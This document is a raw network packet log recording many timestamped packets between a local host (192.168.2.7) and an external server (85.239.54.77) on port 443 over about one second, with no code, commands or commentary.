Jan 11, 2025 09:26:46.420810938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.420850992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.420867920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.420888901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.420902967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.420926094 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.421298027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.421339035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.421349049 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.421361923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.421382904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.421396971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.421909094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.421969891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.421988010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.422048092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.422491074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.422529936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.422540903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.422560930 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.422580004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.422593117 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.483025074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.483083010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.483144999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.483176947 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.483198881 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.483217955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.505983114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.506015062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.506119013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.506148100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.506232977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.506366968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.506388903 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.506422043 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.506432056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.506450891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.506468058 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.506974936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.507016897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.507045984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.507066965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.507081032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.507102013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.507572889 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.507597923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.507621050 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.507632971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.507653952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.507673025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.508059025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.508095980 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.508111000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.508124113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.508140087 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.508155107 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.508455038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.508500099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.508512020 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.508522987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.508546114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.508562088 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.509284019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.509308100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.509373903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.509373903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.509397030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.509439945 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.568650961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.568701029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.568805933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.568840981 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.568859100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.568876028 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.592824936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.592868090 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.592931032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.592978954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.592991114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.593013048 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.593307018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.593352079 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.593369961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.593380928 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.593404055 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.593416929 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.593821049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.593861103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.593873978 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.593888044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.593904972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.593924046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.594439030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.594486952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.594499111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.594520092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.594547987 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.594557047 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.595017910 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.595066071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.595086098 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.595093012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.595118999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.595129967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.595415115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.595465899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.595483065 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.595491886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.595506907 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.595527887 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.596290112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.596328974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.596357107 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.596363068 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.596381903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.596401930 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.617696047 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.655519009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.655554056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.655622005 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.655639887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.655683041 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.679753065 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.679821014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.679871082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.679899931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.679915905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.679949999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.680252075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.680294037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.680319071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.680330038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.680346966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.680365086 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.680783033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.680833101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.680850029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.680866957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.680882931 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.680903912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.681292057 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.681339979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.681365967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.681379080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.681405067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.681420088 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.681632042 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.681670904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.681683064 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.681696892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.681720018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.681735039 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.682504892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.682544947 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.682568073 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.682593107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.682610989 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.682625055 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.682853937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.682893991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.682912111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.682926893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.682944059 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.682955980 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.742414951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.742444038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.742479086 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.742516041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.742532969 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.742552042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.766422033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.766457081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.766491890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.766526937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.766544104 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.766566992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.766946077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.766962051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.767010927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.767023087 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.767051935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.767476082 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.767498016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.767551899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.767565966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.767601013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.768032074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.768049955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.768102884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.768130064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.768163919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.768623114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.768649101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.768682003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.768692970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.768712044 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.768794060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.769073963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.769093037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.769160032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.769171000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.769210100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.769727945 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.769747972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.769773960 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.769784927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.769805908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.769823074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.829277039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.829296112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.829420090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.829452991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.829493999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.853379011 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.853404999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.853442907 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.853463888 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.853473902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.853501081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.853856087 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.853874922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.853900909 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.853908062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.853929043 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.853951931 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.854259968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.854279995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.854305983 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.854314089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.854338884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.854356050 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.855025053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.855045080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.855072021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.855078936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.855089903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.855112076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.855577946 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.855595112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.855628014 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.855634928 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.855657101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.855665922 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.856134892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.856152058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.856184959 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.856192112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.856218100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.856237888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.856770992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.856777906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.856837988 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.856844902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.856888056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.916043997 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.916074038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.916171074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.916196108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.916233063 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.940175056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.940193892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.940254927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.940288067 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.940303087 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.940329075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.940643072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.940661907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.940720081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.940727949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.940773010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.941078901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.941095114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.941137075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.941143990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.941165924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.941185951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.941714048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.941740036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.941786051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.941792965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.941816092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.941836119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.942116976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.942131996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.942179918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.942187071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.942225933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.942821980 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.942840099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.942898035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.942904949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.942945004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.943264961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.943283081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.943335056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.943346024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.943384886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.002837896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.002863884 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.002938032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.002973080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.003024101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.027084112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.027124882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.027169943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.027185917 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.027201891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.027223110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.027510881 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.027535915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.027569056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.027579069 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.027606964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.027616024 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.027972937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.027990103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.028031111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.028038025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.028059006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.028121948 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.028577089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.028599024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.028650045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.028656960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.028673887 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.028696060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.029027939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.029046059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.029095888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.029103041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.029140949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.029583931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.029606104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.029647112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.029654026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.029676914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.029697895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.030085087 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.030101061 CET	443	49941	85.239.54.77	192.168.2.7
